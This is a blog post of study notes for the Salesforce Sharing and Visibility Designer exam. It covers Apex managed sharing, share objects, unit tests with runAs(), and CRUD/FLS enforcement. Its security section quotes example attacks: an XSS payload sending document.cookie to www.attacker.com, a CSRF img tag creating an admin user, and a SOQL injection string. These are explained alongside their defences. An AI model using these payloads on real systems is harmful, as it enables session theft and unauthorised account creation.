This is the last part of Sharing and Visibility Designer Exam. Programmatic Sharing weighs 17% of total score in this exam, decreasing from previous 28% of total score. Anyway, let's get into it!

NOTE: This post is written in April 2020 and content might be changed/updated overtime. The content is inspired by focusonforce.com.

Guideline for Performance and Scalability

  • Given a scenario, design a solution that leverages programmatic sharing functionalities to achieve a requirement that cannot be met using declarative functionality.
  • Given a scenario, describe how to minimize security risks in programmatic customizations (Apex, Visualforce, Lightning Component) relative to data visibility.
  • Demonstrate how to properly design unit tests to verify programmatic security solutions.
  • Demonstrate how to properly enforce Object and Field level permission when designing Programmatic Solutions.

Programmatic Sharing Capabilities

  • Programmatic Sharing:
    • User Managed Sharing (aka Manual Sharing, used in Sharing Button):
      • Allows the record owner or any user with Full Access to a record to share the record with a user or group of users.
      • Only the record owner and users above the owner in the role hierarchy are granted Full Access to the record.
      • User Managed Sharing is removed when the record owner changes or when the access granted in the sharing does not grant additional access beyond the object's organization-wide sharing default access level.
    • Apex Managed Sharing
      • Provides developers with the ability to support an application's particular sharing requirements programmatically through Apex or the SOAP API.
      • Similar to Managed Sharing, except only users with "Modify All Data" permission can add or change Apex managed sharing on a record.
      • Apex Managed Sharing is maintained across record owner changes.
  • Sharing Reason Field:
Sharing TypeReason Field ValueRow Cause Value
Managed SharingAccount SharingImplicitChild
Managed SharingAssociated record owner or sharingImplicitParent
Managed SharingOwnerOwner
Managed SharingOpportunity TeamTeam
Managed SharingSharing RuleRule
Managed SharingTerritory Assignment RuleTerritoryRule
User Managed SharingManual SharingManual
User Managed SharingTerritory ManualTerritoryManual
Territory2AssociationManual (API version >= 45)
Apex Managed SharingDefined by developerDefined by developer
  • Apex Sharing Reason Field:

    • Track why a record of a custom object is shared with a user or group of users.
    • Can only be defined for custom objects.
    • Can only be created in Salesforce Classic UI or through Metadata API.
    • Can only be created up to 10 Apex sharing reason per custom object.
    • Delete an Apex sharing reason will delete all sharing on the object that uses the reason.
    • Under certain circumstances, inserting a share row results in an update of an existing share row, for ex:
      • a manual share access level is set to Read and you insert a new one set to Write
      • a sharing rule row cause (which is a higher access level) replaces the parent implicit share row cause
    • Also, in some circumstances, sharing will be removed during recalculation if the access they grant is considered redundant, for ex:
      • a manual sharing which grants Read Only access to a user, is deleted when object's sharing model changes from Private to Public Read Only
    • To recalculate Apex Managed Sharing, you must write an Apex class that implements a Salesforce-provided interface Database.Batchable to do the recalculation. You must then associate the class with the custom object.
      apex-sharing-in-custom-object
      new-apex-managed-sharing-recalculation
    • Only user with "Modify All Data" permission can add, edit or delete sharing that uses an Apex sharing reason.
    • "Author Apex" permission is required to create Apex sharing reasons.
    • "View Setup and Configuration" permission is required to view Apex sharing reasons.
    • "Author Apex" or "Manage Sharing" permission is required to run an Apex managed sharing recalculation.
      apex-sharing-reason
  • Share Object Access Level:

Access LevelAPI NameDescription
PrivateNoneOnly the record owner and users above can view and edit the record.
NOTE: applicable to AccountShare object only
Read OnlyRead The specified user or group can view the record only.
Read/WriteEditThe specified user or group can view and edit the record.
Full AccessAllThe specified user or group can view, edit, transfer, share, and delete the record.
  • Share Object Others:

    • Objects on the detail side of a master-detail relationship do not have an associated sharing object.
    • Sharing granted to users implicitly through organization-wide defaults, the role hierarchy, and permissions such as the "View All" and "Modify All" permissions for the given object, "View All Data" and "Modify All Data" are not tracked with this object.
    • For each role in your hierarchy Salesforce automatically creates sharing groups, which you can use in sharing rules and manual sharing
  • Share Object Properties:

    • AccessLevel - Read, Edit, All (must be higher than default access level for parent object)
      • NOTE: All access level is an internal value and cannot be granted.
    • ParentId - Id of the shared record (cannot be updated)
    • RowCause (aka Sharing Reason) - specify the reason why a particular user/group is being granted access to a record (cannot be updated)
    • UserOrGroupId - the user or group Ids to which access is being granted (cannot be updated)
  • Example of User Managed Sharing using Apex:

      Job__Share jobShr  = new Job__Share();
      jobShr.ParentId = recordId;
      jobShr.UserOrGroupId = userOrGroupId;
      jobShr.AccessLevel = 'Read';
      jobShr.RowCause = Schema.Job__Share.RowCause.Manual;
      insert jobShr;
  • Example of Apex Managed Sharing:
      Job__Share jobShr  = new Job__Share();
      jobShr.ParentId = recordId;
      jobShr.UserOrGroupId = userOrGroupId;
      jobShr.AccessLevel = 'Read';
      // assuming we have Hiring_Manager reason created 
      jobShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
      insert jobShr;

Security Risks and Guidelines for Apex and Visualforce

  • Cross-Site Scripting (XSS)
    • Attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web application.
    • For example, the script is included in a Lightning Platform page using a script component, an on* event, or a Visualforce page:
    ...
    <script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>
    ...
    • This script block inserts the value of user-supplied userparam onto the page. The attacker can then enter the following value for userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
    • In this case, all the cookies for the current page are sent to www.attacker.com as the query string in the request to cookie.cgi script.
    • At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victims
    • Existing protection:
      • <apex> tags in Visualforce components
        • anti-XSS filters in place, ex: <apex:outputText>{!$CurrentPage.parameters.userInput} </apex:outputText>
        • disable escape behavior, ex: <apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />
      • Formula tags
        • <a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">Go to portal</a>
        • NOTE: data is not escaped during rendering (expressions are rendered on the server)
  • SOQL Injection

    • Takes user-supplied input with SOQL commands that trick the application into performing unintended commands.
    • Using SOQL has much lower risk than using regular SQL as SOQL is much simpler and more limited in functionality than SQL. But still, the attacks will still occur without proper validation
    • For example, you have a query like this:
    String qryString = 'SELECT Id FROM Contact WHERE ' +
        '(IsDeleted = false and Name like \'%' + name + '%\')';
    queryResult = Database.query(qryString);
    return null;
    • Your intended user input is something like Bob, instead you are getting something like test%') OR (Name LIKE ' , now your executed query becomes like this: SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%'), which is not what you are intended for.
    • Existing protection:
      • use escapeSingleQuotes method to sanitize user-supplied input, this method adds \ to escape all single quotation marks
      • Avoid using dynamic SOQL queries, instead, use static queries and binding variables:
    String queryName = '%' + name + '%';
    queryResult = [SELECT Id FROM Contact WHERE 
       (IsDeleted = false and Name like :queryName)];
    return null; 
  • Cross-Site Request Forgery (CSRF)

    • Attacks that forces an end user to execute unwanted actions on a web application, which are less of a programming mistake as they are a lack of a defense.
    • For example, an attacker has a Web page at www.attacker.com and somewhere on the attacker's page has HTML tag like this: <img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />
    • Supposed this URL is used to create an user on your website, if the user is still logged into your web page when they visit the attacker's web page, the URL is retrieved and the action is performed
    • This attack succeeds because the user is still authenticated to your web page.
    • More of such attacks using script to generate the callback request or even use CSRF attacks against your AJAX methods.
    • Existing protection:
      • Salesforce has implemented an anti-CSRF token to prevent this attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods.
  • Data Access Control

    • When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution.
    • The default behavior is that an Apex class has the ability to read and update all data within the organization.
    • Existing protection:
      • use of with sharing keyword to direct platform to use security sharing permissions of the user currently logged in

Unit Tests Design

  • runAs()
    • Generally, all Apex code runs in system mode, where the permissions and record sharing of the current user are not taken into account.
    • System method runAs() can only be used in a Unit Test class to test record access as that user.
    • The original system context is started again after all runAs() test methods complete.
    • The runAs() method doesn't enforce user permissions or field-level permissions, only record sharing.
    • The runAs() method ignores user license limits. You can create new users with runAs() even if your organization has no additional user licenses.
    • You can even nested the runAs() like this:
@isTest
private class TestRunAs2 {

   public static testMethod void test2() {

      Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
      User u2 = new User(Alias = 'newUser', Email='newuser@testorg.com',
         EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
         LocaleSidKey='en_US', ProfileId = p.Id,
         TimeZoneSidKey='America/Los_Angeles', UserName='newuser@testorg.com');

      System.runAs(u2) {
         // The following code runs as user u2.
         System.debug('Current User: ' + UserInfo.getUserName());
         System.debug('Current Profile: ' + UserInfo.getProfileId());

         // The following code runs as user u3.
         User u3 = [SELECT Id FROM User WHERE UserName='newuser@testorg.com'];
         System.runAs(u3) {
            System.debug('Current User: ' + UserInfo.getUserName());
            System.debug('Current Profile: ' + UserInfo.getProfileId());
         }

         // Any additional code here would run as user u2.
      }
   }
}
  • startTest()
    • startTest() method marks the point in your test code when your test actually begins.
    • Each test method is allowed to call this method only once.
    • All of the code before this method should be used to initialize variables, populate data structures, and so on
    • Any code that executes after the call to startTest() and before stopTest() is assigned a new set of governor limits.
    • NOTE: The startTest() method does not refresh the context of the test: it adds a context to your test. For example, if your class makes 98 SOQL queries before it calls startTest(), and the first significant statement after startTest() is a DML statement, the program can now make an additional 100 queries. Once stopTest() is called, however, the program goes back into the original context, and can only make 2 additional SOQL queries before reaching the limit of 100.
  • stopTest()
    • stopTest() method marks the point in your test code when your test ends.
    • Each test method is allowed to call this method only once.
    • Any code that executes after the stopTest() method is assigned the original limits that were in effect before startTest() was called.
    • All asynchronous calls made after the startTest() method are collected by the system.
    • When stopTest() is executed, all asynchronous processes are run synchronously.

Object-Level and Field-Level Permission Enforcement

  • Enforcement in Visualforce Page

    • When rendering Visualforce pages, the platform will automatically enforce CRUD and FLS when the developer references SObjects and SObject fields directly in the Visualforce page.
    • For example, if a user without FLS visibility to the Phone field of the Contact object was to view the below page, phone numbers would be automatically removed from the table.
  • Enforcement in Apex Controller

    • isAccessible() - return true if current user can see this field
      • ex: Schema.sObjectType.Contact.fields.Name.isAccessible()
      • NOTE: calling isAccessible() or any field-level access checks on a field automatically checks that the user has the corresponding CRUD access to the object type
    • isUpdateable() - return true if current user can edit this field
      • ex: Schema.sObjectType.Contact.fields.Status__c.isUpdateable()
    • isCreateable() - return true if current user can create this field
      • ex: Schema.sObjectType.Account.fields.Name.isCreateable()
    • isDeletable() - return true if current user can delete this object
      • ex: Lead.sObjectType.getDescribe().isDeletable()
      • NOTE: Delete is only checked at the object level (CRUD) and not at the field level (FLS)
  • Enforcement in Apex Web Services:

    • Since Apex Web Services do not have a Visualforce binding layer, all CRUD and FLS enforcement must be done within the Apex code.

Well, that's all about it! Hope you enjoy this post! This is the last post of Sharing and Visibility Designer Exam, see you in next exam series!

Post was published on , last updated on .

Like the content? Support the author by paypal.me!